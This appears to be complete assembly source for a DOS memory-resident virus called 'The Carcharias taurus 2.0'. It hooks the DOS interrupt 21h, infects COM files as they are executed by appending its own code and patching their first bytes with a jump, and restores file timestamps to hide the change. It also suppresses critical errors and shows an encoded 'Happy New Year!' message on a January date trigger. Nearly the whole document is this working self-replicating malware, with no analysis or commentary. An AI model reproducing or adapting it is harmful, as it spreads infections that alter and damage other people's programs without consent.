TITLE	The Carcharias taurus 2.0
		.MODEL	Tiny
		.CODE
		.STARTUP

; Some Constants -------------------------------------------------------------
	DogSize	equ	584-16-6
; ----------------------------------------------------------------------------

		db	0E9h	 	; JMP Loader
		dw	3
		db	0
		dw	0256h
; ************************** DOG LOADER **************************************
	Loader:

		call	GetBP		; Get BP
	GetBP:	pop	BP
		sub	BP, 103h
		push	AX		; Save AX

; Find Z-MCB -----------------------------------------------------------------
		mov	AH, 52h
		int	21h

		mov	DX, ES:[BX-2]
		mov	DI, (OFFSET Place)-6
		mov	DS:[BP+DI], DX

	NEXT0:
		mov	DI, (OFFSET Place)-6
		mov	ES, DS:[BP+DI]
		mov	DX, ES:[3]	; Calc the next MCB seg
		inc	DX
		add	DS:[BP+DI], DX

		cmp	ES:[0], byte ptr 'Z'
		jne	NEXT0
; ----------------------------------------------------------------------------

; Looking for the Dog behind Z-MCB -------------------------------------------
		push	ES
		mov	DX, ES
                add	DX, ES:[3]
                inc	DX
                mov	ES, DX
                mov	DX, ES:[3]
                pop	ES
                cmp	DX, 815Dh		; 815Dh - Dog's bytes
                je	LExit
; ----------------------------------------------------------------------------


; Eat 1K in the Z-MCB, Current PSP, BIOS Data --------------------------------

		push	DS
		sub	ES:[3], word ptr 40h	; Dec Z-MCB

		mov	AH, 62h
		int	21h
		mov	DS, BX
		sub	DS:[2], word ptr 40h	; Dec Curr PSP

		xor	DX, DX
		mov	DS, DX
		dec	word ptr DS:[413h]

		pop	DS
; ----------------------------------------------------------------------------

; Calculate Dog's segment adress ---------------------------------------------
		mov	DX, CS
		add	DX, ES:[3]
		mov	ES, DX
; ----------------------------------------------------------------------------

; Now load the Dog -----------------------------------------------------------
		xor	DI, DI
		mov	SI, BP
		add	SI, 100h
		mov	CX, DogSize
		cld
		rep 	movsb
; ----------------------------------------------------------------------------

; Hook 21h -------------------------------------------------------------------
; Get old vector
		push	ES
		mov	AX, 3521h
		int	21h
		mov	DX, ES
		pop	ES
		mov	DI, (OFFSET Exit21h)-100h-6+1
		mov	ES:[DI], BX
		inc	DI
		inc	DI
		mov	ES:[DI], DX

; Set 21h to Dog
		mov	AX, 2521h
		mov	DX, (OFFSET Dog)-100h-6
		push	DS
		push	ES
		pop	DS
		int	21h
		pop	DS
; ----------------------------------------------------------------------------

; Loader Exit ----------------------------------------------------------------
	LExit:
; Restore first 6 bytes
		mov	DI, (OFFSET M_6Bytes)-6
		mov	AX, word ptr DS:[BP+DI]
		inc	DI
		inc	DI
		mov	BX, word ptr DS:[BP+DI]
		inc	DI
		inc	DI
		mov	CX, word ptr DS:[BP+DI]
		mov	word ptr CS:[100h], AX
		mov	word ptr CS:[102h], BX
		mov	word ptr CS:[104h], CX

; Restore all registers
		pop	AX
		xor	BX, BX
		xor	CX, CX
		xor	DI, DI
		xor	SI, SI
		xor	BP, BP
		mov	DX, 100h
		push	DX
		xor	DX, DX
		push	DS
		pop	ES
		ret
; ----------------------------------------------------------------------------

; ************************** END of DOG LOADER *******************************


; *******************************  DOG  **************************************
	Dog:
			pushf
			cmp	AX, 4B00h
			je	D01
			jmp	QuickExit
	D01:		push	AX
                        push	BX
                        push	CX
                        push	DX
                        push	DI
                        push	SI
                        push	DS
                        push	ES

                        push	DX                      ; Store file name
                        push	DS


; Effect ? -------------------------------------------------------------------
			mov	AH, 2Ah
			int	21h
			cmp	CX, 1993	; After 1992
			jb	EExit
			cmp	DH, 1		; Jan,
			jne	EExit
			mov	AH, 2Ch
			int	21h
			cmp	CH, 14
			jne	EExit
			cmp	CL, 30
			jb	EExit
; yes!
			push	CS
			pop	DS
			mov	CX, 20
			mov	AH, 2
			mov	SI, (OFFSET Tired)-100h-6
		CHN:	mov	DL, byte ptr DS:[SI]
			inc	SI
			dec	DL
			int	21h
			loop	CHN
;			cli
;			hlt
; ----------------------------------------------------------------------------

		EExit:
; Store old int 24h vector ---------------------------------------------------
			mov	AX, 3524h		; Get intrpt vector (ES:BX)
			int	21h
			mov	DI, (OFFSET Old24h)-100h-6
			mov	CS:[DI], BX		; Store BX
			inc	DI
			inc	DI
			mov	CS:[DI], ES		; Store ES
; ----------------------------------------------------------------------------

; Set new int 24h handler ----------------------------------------------------
			mov	AX, 2524h		; Set intrpt vector (DS:DX)
			mov	DX, (OFFSET INT24)-100h-6
			push	CS
			pop	DS
			int	21h
; ----------------------------------------------------------------------------


;                       -----------------------------------------------------
                        pop	DS
                        pop	DX
; ----------------------------------------------------------------------------


; Open the file --------------------------------------------------------------
			mov	AX, 3D02h
                        int	21h
			mov	DI, (OFFSET Handle)-100h-6
			mov	CS:[DI], AX
                        jnc     D02
			jmp	DExit
               D02:    
; ----------------------------------------------------------------------------

; Read 1st 6 bytes -----------------------------------------------------------
			push	CS
			pop	DS
			mov	AH, 3Fh
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        mov	DX, (OFFSET M_6Bytes)-100h-6
                        mov	CX, 6
                        int	21h
			jnc	D03
			jmp	DExit

           D03:         
; ----------------------------------------------------------------------------

; Check File Format ----------------------------------------------------------
			mov	DI, (OFFSET M_6Bytes)-100h-6
			cmp	CS:[DI], 4D5Ah
                        jne	D04
			jmp	DExit
              D04:      cmp	CS:[DI], 5A4Dh
                        je	DExit
; ----------------------------------------------------------------------------

; Check File for Dog ---------------------------------------------------------
			cmp	CS:[DI+3], 0256h
                        je	DExit
; ----------------------------------------------------------------------------

; Get and Store file Date&Time -----------------------------------------------
			mov	AX, 5700h
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        int	21h
                        mov     DI, (OFFSET FDate)-100h-6
                        mov	CS:[DI], DX
                        inc	DI
                        inc	DI
                        mov	CS:[DI], CX
; ----------------------------------------------------------------------------

; Get and Store file Size ----------------------------------------------------
			mov	AX, 4202h
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        xor	DX, DX
                        xor	CX, CX
                        int	21h
                        mov     DI, (OFFSET FSize)-100h-6
			sub	AX, 3
                        mov	CS:[DI], AX
                        cmp	AX, 64512
                        ja	DExit
			cmp	AX, 6
			jb	DExit
; ----------------------------------------------------------------------------


; Add Dog to the file --------------------------------------------------------
			push	CS
			pop	DS
			mov	AH, 40h
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        mov	CX, DogSize
                        xor	DX, DX
                        int	21h
; ----------------------------------------------------------------------------

; Write 1st 6 bytes to file --------------------------------------------------
; Move file ptr to the start
			mov	AX, 4200h
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        xor	DX, DX
                        xor	CX, CX
                        int	21h
; Write ...
			mov	AH, 40h
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        mov	CX, 6
                        mov	DX, (OFFSET DogCall)-100h-6
                        int	21h
; ----------------------------------------------------------------------------

        DExit:

; Set file Date&Time ---------------------------------------------------------
			mov	AX, 5701h
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        mov     DI, (OFFSET FDate)-100h-6
                        mov	DX, CS:[DI]
                        inc	DI
                        inc	DI
                        mov	CX, CS:[DI]
                        int	21h
; ----------------------------------------------------------------------------


; Close the file -------------------------------------------------------------
			mov	AH, 3Eh
                        mov	DI, (OFFSET Handle)-100h-6
                        mov	BX, CS:[DI]
                        int	21h
; ----------------------------------------------------------------------------

; Restore int 24h ------------------------------------------------------------
			mov	AX, 2524h		; Set intrpt vector (DS:DX)
			mov	DI, (OFFSET Old24h)-100h-6
			mov	DX, CS:[DI]
			inc	DI
			inc	DI
			mov	DS, CS:[DI]
			int	21h
; ----------------------------------------------------------------------------

			pop	ES
                        pop	DS
                        pop	SI
                        pop	DI
                        pop	DX
                        pop	CX
                        pop	BX
                        pop	AX

	QuickExit:	popf
	Exit21h:	db	0EAh
	Int21hIP:	dw	0		; BX
	Int21hCS:	dw	0		; ES

; Int 24h handler ------------------------------------------------------------
	INT24:		xor	al, al			; Ignore critical error
			iret
; ----------------------------------------------------------------------------


; ****************************  END of DOG  **********************************

	DogData:
		M_6Bytes	db 90h, 90h, 90h, 90h, 90h, 0C3h
		Tired		db 11, 11, 'Ibqqz!Ofx!Zfbs!"', 14, 11
		DogCall		db 0E9h
		FSize		dw 0606h
		Sign		db 'V', 2
		Handle		dw 0606h
		Vers		dw 0606h
		FDate		dw 0606h, 0606h		; Date, Time
		Old24h		dw 0606h, 0606h		; BX:ES
		Attrib		dw 0606h
		Place		dw 0606h		
		END
